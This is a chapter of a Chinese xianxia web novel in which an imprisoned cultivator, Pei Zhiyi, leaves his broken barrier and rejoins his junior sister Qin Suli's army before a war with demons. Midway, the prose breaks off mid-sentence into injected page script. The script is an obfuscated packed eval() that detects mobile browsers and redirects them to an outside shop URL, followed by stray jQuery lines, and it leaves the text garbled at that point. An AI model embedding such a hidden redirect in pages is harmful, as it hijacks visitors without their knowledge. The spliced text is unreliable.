下雪了。

    裴知亦立于殿檐之下,抬头望向漫天飞舞的雪。

    雪花浮动着,摇摆着,穿过那层几乎看不见的透明结界,落在裴知亦的青丝上。

    身后的殿内温暖如春,但裴知亦仍是紧了紧衣衫,走进雪中。

    半晌,裴知亦停下了脚步。

    这已经是他能离开主殿最远的地方了。裴知亦伸出手,轻抵在阻止他离开的那层结界上,指尖随即被融化的雪水浸湿。

    他缓缓加力,本来没有任何存在感的结界立刻波动了一下,用一股温柔却不容拒绝的力道将裴知亦推了回去。

    裴知亦放下手,微垂眼帘,瘦削的脸颊在风雪中更显苍白。

    “...素理。”他轻声喃喃着。

    如水般的结界泛出些许波澜,似是在回应裴知亦的呼唤。

    裴知亦感受着结界上的气息,温润而厚重,一如它的主人秦素理那般。

    被囚禁的日子里,只有她的气息陪伴着他。

    裴知亦叹了口气,转身向大殿走去。

    突然,那结界似乎被攻击了一般,猛地一颤。

    裴知亦连忙上前,手中灵力溢出,抚上近乎破碎的结界。

    “怎么回事...”裴知亦拧着眉,试图以结界为桥,感知它的源头秦素理,却发现结界上的气息十分稀薄。

    以素理的法力,不至于连一个没有攻击能力的结界都支撑不住,怕是出了什么大事,逼得她不得不调用所有法力,才会导致维持了百余年的结界溃散。

    裴知亦只觉不好,下意识想要迈出结界,却又生生停下。

    如果现在贸然离开青云峰顶,那群人会不会又像三百年前那样攻讦素理?

    那群搬弄是非的修士只会用隐秘龌龊的流言和道貌岸然的审判来围攻他,嘴皮子上的兵刃相向,裴知亦是不在乎的。

    可素理不一样,裴知亦实在是不想让那群假清高的伪君子再有任何一个机会来攻击她,更不想是自己亲手将这种机会送到他们的手上。

    裴知亦压下心头的不安,停下脚步,阖眸沉息,试图感知秦素理的位置。

    “砰——”霎时,裴知亦身旁的结界完全破碎,那股温润的气息如风一般消散殆尽。

    不再犹豫!裴知亦双手捏诀,立刻飞身向山下掠去。

    ——

    鸿蒙初辟,灵机勃发,凡人吐纳灵气于经络之中,修仙得道。千万年来,修仙界万宗林立,青云派靠着派主漱弦真人创立的青云心法一跃成为万宗之首,不可谓风头正劲。

    然而,世间阴阳有道,随着修士越来越多,一种逆转经络纳气修炼的禁术悄然蔓延开来,尤以遭遇重大创伤或心结难解以至于心智薄弱的修士最易误入此道,修炼此术的修士将法力大增,但会偶尔失去理智,发狂嗜血,仙界将这种无法自控的修士称为魔。

    一旦修炼此术,气脉经络将再无恢复正常的方法,只能任由自己彻底堕魔,因此仙界明令禁止修炼此法。

    眼见堕魔的修士越来越多,漱弦真人无奈,只能联合其他宗门世家尽全力寻找治愈经络逆转的方法。

    可惜天不假年,直到数百年前漱弦真人坐化,也没能找到拯救魔族的方法。

    所幸,漱弦真人膝下还有两位关门弟子,其中二弟子秦素理秉赋通玄,天赋绝伦,继承了漱弦真人青云派派主一职。

    秦素理并不像她的师父那样一心沉浸于道法通玄精进修为,继位以来,她统御仙界,治下有方,对内严管仙界,避免修士堕魔,对外严防布控,抵御魔族入侵,修仙界难得维持了数百年的平和。

    然而堵不如疏,无论秦素理如何严防死守,一日不治本,魔族便会层出不穷,肆虐世间。

    如今,仙魔两界已经到了水火不容的地步,大战一触即发。

    ——

    裴知亦疾速向山下掠去。

    漫长的紧闭并未让他衰弱,反而令其修为突飞猛进。裴知亦一向如此,他早已习惯被不公的对待,甚至能将苦难化为法力更上一层楼的契机,这也是当年众修士一致向秦素理请愿处死他的原因之一。

    青云脚下,天光泛红,旌旗飘飘。数千修士垂手而立,却肃穆无声。

    前方山坡上,秦素理身着银白软甲,策马而立。她侧头跟旁边的人交谈,好像在吩咐着什么。

    多年不见。

    裴知亦看着秦素理挺拔的背影,下意识正了正自己的发冠。

    身旁的修士们被他强大的气场所震撼,纷纷向他侧目,又被他的威压压制无法直视他。随着他不断靠近,修士们不自觉的为他让出了一条路。

    有人率先认出了他,但直到他离开才敢嗫嚅着开口:“这...这是裴知亦吗?”

    “裴知亦不是已经被处死了吗?”有人疑惑。

    “哪啊,当年只是把他关起来了,没杀他。”有人解释。

    “你看他那泛红的眼睛,不就是堕魔的前兆吗...”

    “怎么感觉他的境界又高了...”

    “难道已经合体期了...”

    “魔的血脉...”

    “...”

    这些掩耳盗铃的议论,裴知亦并非听不到,但他不在意,他只想尽快赶到素理身旁。

    秦素理察觉到后方骚动的队伍,狭长的细眸在扫视过人群时现出锐利的光芒。

    她还是那样英姿飒爽,执剑的背影挺拔而俊朗。之间她轻摆了摆手,身边的一个青云弟子立刻御剑飞来。

    “不是说裴知亦已经堕魔了吗?怎么素理道君还留着他?”又有人在暗中低语。

    裴知亦猛地回头,他掀起暗红的眸,眼神直直钉在提到秦素理的那个修士身上。沉重的威压立刻压在那人身上,那人的膝盖一弯,全身砸倒在地。

    众人不禁心中一凛,连忙噤了声,只余裴知亦墨色劲装的衣摆被狂风吹得飒飒作响。

    剑拔弩张之间,秦素理身边的弟子御剑而来,在距裴知亦不足十步的地方抽身下剑,利落一拜。他的动作行云流水,一看就是青云派新一辈中的得力干将。

    “裴师叔好,师父请您上前一叙。”陆云舒恭恭敬敬地为裴知亦引路。

    裴知亦虽然不认识眼前这个人,但他还是收敛了气息,默默地跟在陆云舒的身后。

    世事变迁,他已经跟外界隔绝得太久,他只能略有些茫然地,向她御剑飞去。

    裴知亦观察着情况,众弟子们有序地排成行军队列,各个手持兵刃,披甲上阵。

    每个人都严阵以待,眼底却暗含凝重与萧索。

    秦素理身侧,几乎他认识的修仙界所有长老大能都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769203|209849||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在这里了。此等阵仗,裴知亦从未见过。

    “师兄。”秦素理率先看向了他。

    裴知亦凝望着数年未见的秦素理,心头百感交集,久别重逢,竟是在如此兵戈铁马的时刻。雪落无声,衬得她的银甲愈发冰冷刺目,一枚精致的小圆镜以丝绳系垂于胸间,在夕阳的映射下不时轻晃着他的眼。

    她褪去了一分少年时期的张扬活泼,多了一分洗尽铅华的沉稳从容。

    裴知亦只觉喉间有点涩:“...这是怎么了?”

    “魔族大军压境,已经打下人界都城了。”秦素理无声叹了口气,她仰起头,眺望着西方。“此战,若赢,我们便可将魔族赶到清山以西,若败...”

    她未垂下头,不再说话。

    沉默良久,秦素理抬眼,手执青鸾剑,厉声鼓舞道:“我们不会败!”

    “是!”众弟子立刻高声迎合。

    秦素理收了眉间的戾气,复望向裴知亦:“没能提前知会师兄,是我的不是。如今大战在即,我不得不全力以赴,青云峰顶的结界,怕是再不能维持了。”

    话音落地,一众修士皆变了脸色。

    三言两语,裴知亦明白如今的形势已万分凶险,他当即情愿道:“让我也去。”

    “不可!”站在秦素理身旁最近的一个修士已迫不及待出声,“裴知亦心性不定,魔障犹在,断不能放任自流!”

    秦素理略沉了脸色。

    许是误将秦素理的沉默当成了默许,众修士不禁喧闹了起来。

    “我们在前方打仗,怎么可以在后方留一个魔种作隐患!”

    “当年他都失控过一次了,现在魔物猖獗,就应该先杀了他祭旗!”

    “...”

    又来了...当年的景象似乎再次上演,能站在素理身边的人并非泛泛之辈,他们的一言一行深切影响着仙界的局势和风向,就像当年的素理,也不得不在这些人的逼迫下将自己囚禁了三百年。

    看着秦素理愈发冷峻的面色,裴知亦的太阳穴突突直跳,灵台一阵躁动。

    这一切的一切,都只因为,他,是一个魔的孩子。

    骤然,秦素理指尖金光大现,威压落在每个人身上,原本骚动的人群立刻恢复了安静。

    秦素理递给了裴知亦一个安抚的眼神,策马出列,掠过前排众人,目光如刀一般刻过方才每个出言者的身上。

    她策马踱步,逼视着众人。众修士噤若寒蝉,竟无一人敢迎视那双寒眸。

    直至场中静得只闻风雪呼啸,秦素理停在最先开口的那个修士身前,勾起唇角,温声问:“三百年了,如果真的是魔早就神智全无了。谭长老,你看我师兄像是神智不清之人吗?”

    谭昭衡骤然被点,不免有些局促,只能看着秦素理的脸色答话:“似乎...似乎并未有异常。”

    “如此。”秦素理摆出一副恍然大悟的样子,“那看来我师兄,并没有堕魔。”

    眼见秦素理下了最终定论,仍有几个不死心的开口争辩:“可当年裴知亦失控,众人都有目共睹啊!”

    秦素理唇角那抹弧度倏地冷却,声线陡沉:“当年我就已再三强调过,并非是我师兄伤的我,时至今日,你们还在泼这脏水。”

    众人再不敢争辩,只是神色间都略有不忿。